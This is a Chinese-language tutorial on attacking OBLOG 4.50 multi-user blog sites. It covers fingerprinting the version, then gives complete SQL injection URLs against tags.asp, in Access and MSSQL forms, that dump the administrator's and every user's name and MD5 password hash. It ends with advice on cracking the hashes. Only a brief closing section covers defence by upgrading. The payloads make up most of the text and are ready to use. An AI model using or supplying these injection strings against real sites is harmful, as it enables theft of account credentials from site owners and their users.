教你一句话让OBLOG将用户密码乖乖送上

随着网络技术的逐步发展,越来越多的企业拥有了自己的网站平台,通过此平台对外宣传自己,对内让员工可以更好的交流技术问题与工作事宜。OBLOG作为一款多用户博客发布系统在一定程序上满足了企业的上述种种需求,很多企业通过OBLOG安装程序搭建简单的站点交流平台,然而你是否知道我们只需要一句话就可以让OBLOG系统将全部用户密码乖乖送给入侵者吗?今天我们就从攻防两个角度来看看入侵者是如何通过一句话让OBLOG将用户密码乖乖送上的。
    一,判断平台类型以及系统版本:
    在任何一次入侵之前非法入侵者都要针对目标站点,目标系统,目标服务器进行必要的信息收集工作,这也是最快的发现漏洞所在的方法。当我们将一个网站作为攻击目标时,首先可以通过查看主页的“源文件”来判断其使用的站点搭建系统类型,然后在通过对应的命令查看站点搭建系统的版本。下面笔者就从攻击实例出发进行介绍。
    第一步:我们锁定了一个内部网站,我们不知道该站点是使用什么类型的程序搭建的,那么我们可以通过在首页点“查看->源文件”,然后在打开的index页面源文件中查找相关信息,对于没有太多丰富经验的站点管理员来说并不会对全部版本信息进行修改,所以我们可以通过index页面源文件的开头或结尾查找到有用的信息。当然如果站点管理员经验丰富的话,他会把所有蛛丝马迹的版本泄露字眼都删除点。
    第二步:经过笔者查询发现在index页面结尾处有www.oblog.cn的字样,看来这个站点系统是由OBLOG程序搭建的。我们也顺利完成了系统类型的判断工作,将入侵主要精力放到了攻击OBLOG系统上。(如图1)
    
    图1
    第三步:接下来我们通过IE浏览器直接输入http://ip/ver.asp,对于没有经验的网络管理员来说是不会删除这些默认的系统版本泄露文件的,从显示中我们可以看到该OBLOG系统使用的是4.50 final build0619(access)版,版本为4.5,数据库类型是access数据库。(如图2)
    
    图2
    至此我们就顺利的完成了目标站点的系统收集工作,了解了该站点是通过OBLOG搭建完成,而且使用的OBLOG安装程序是4.50 final build0619,使用的数据库是access。
    二,根据程序与版本漏洞进行入侵:
    不同版本,不同程序的漏洞不同,入侵方法也不同,对于OBLOG 4.50 final build0619版来说我们可以通过标签法实现入侵目的,利用SQL注入漏洞让OBLOG将全部用户的帐户名与密码显示出来。
    第一步:通过http://ip/tags.asp命令显示出该OBLOG系统的所有标签信息。(如图3)
    
    图3
    第二步:我们随意选择一个标签,要求这个标签里面是有内容的,不能为空。里面内容包括名字,发布者与发布时间。当然还有一点特别重要那就是记下这个标签对应的ID信息,例如笔者选择该标签后上方地址处对应的ID地址信息为“tags.asp?tagid=42”。(如图4)
    
    图4
    第三步:接下来就是通过一句话对OBLOG系统进行SQL注入入侵了,我们在之前记录的TAGS标签ID信息基础上添加注入命令,例如上面看到的ID地址信息为“tags.asp?tagid=42”,那么我们输入以下内容——
    http://IP/tags.asp?t=user&keyword=trace&tagid=42 group by userid) a,oblog_user b where a.userid=b.userid and 1=2 union select username+chr(124)+password,2,3 from oblog_admin union select top 100 b.userName,b.user_dir,b.user_folder from (select userid from oblog_usertags where tagid=42 and 1=2
     代码中有两处是于tagid=42相对应的,这点需要特别留意。当然如果目的站点使用的是MSSQL数据库而不是本文介绍的ACCESS数据库的话,相关的SQL注入代码也要进行改变,具体内容为——http://IP/tags.asp?t=user&keyword=trace&tagid=42 Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select username+char(124)+password,2,3 From Oblog_admin union select Top 100 b.userName,b.user_dir,b.user_folder
    该命令执行后OBLOG将把管理员的帐户名与密码显示出来,我们可以在显示页面中看到相关信息,在|前显示的是帐户名,后面是密码,不过密码都是通过MD5加密过的。(如图5)
    
    图5
    第四步:除了让OBLOG显示管理员相关信息外我们还可以通过以下指令让OBLOG显示其所有用户名与密码信息,这也是非常危险的。具体注入代码为——
    http://IP/tags.asp?t=user&keyword=trace&tagid=42 group by userid) a,oblog_user b where a.userid=b.userid and 1=2 union select username+chr(124)+password,2,3 from oblog_user union select top 100 b.userName,b.user_dir,b.user_folder from (select userid from oblog_usertags where tagid=42 and 1=2
    输入完毕所有在该OBLOG博客平台上注册的帐户与密码都会显示出来,同样密码是经过MD5加密过的。(如图6)
    
    图6
    
    第五步:有了明文帐户名与MD5加密过的密码我们基本上可以直接破解出明文密码,只需要通过一些MD5查询站点就能够将MD5密码顺利还原为明文信息。(如图7)
    
    图7
    第六步:不过并不是所有MD5加密密码都能够通过查询站点反查出明文信息的,如果不成功的话我们只能够通过MD5暴力破解工具实现了,关于MD5暴力破解工具笔者在以前的文章中进行过详细的介绍,这里由于篇幅关系就不继续说明了,总之暴力破解MD5密文需要的时间是比较长的,一个7位明文密码对应MD5密码的破解需要几天时间。当然一些MD5密码反查站点也提供了相关有偿服务,部分密码的反查需要我们支付一条一毛钱的费用,如果觉得暴力破解麻烦的读者可以选择付费服务快速解决问题。(如图8)
    
    图8
    三,如何防范:
    该漏洞只存在于OBLOG安装程序是4.6 final版本之前,所以作为OBLOG站点管理员的我们只需要将OBLOG版本进行必要升级,升级到最新版本即可,这样该注入漏洞就会被顺利补掉,我们也完成了安全防范目的。最新的OBLOG升级程序我们可以到www.oblog.cn站点进行下载,相关升级方法与更新弥补漏洞情况也会在升级程序的帮助文档中详细说明,感兴趣的读者可以自行研究。
    四,总结:
    网上很多现成的站点或CMS甚至是BLOG搭建系统都存在着这样或那样的漏洞,因此如果企业使用这些现成程序安装自身网络平台的话就一定要随时关注升级信息,必要时可以在相关站点注册会员并记录自身电子邮件地址,这样对应程序有升级和新版本发布时我们就能够在第一时间收到相关电子邮件获得升级通知了。另外在搭建网络平台时尽量避免access数据库的出现,毕竟access数据库不太安全,相关程序存在漏洞的可能性比较大。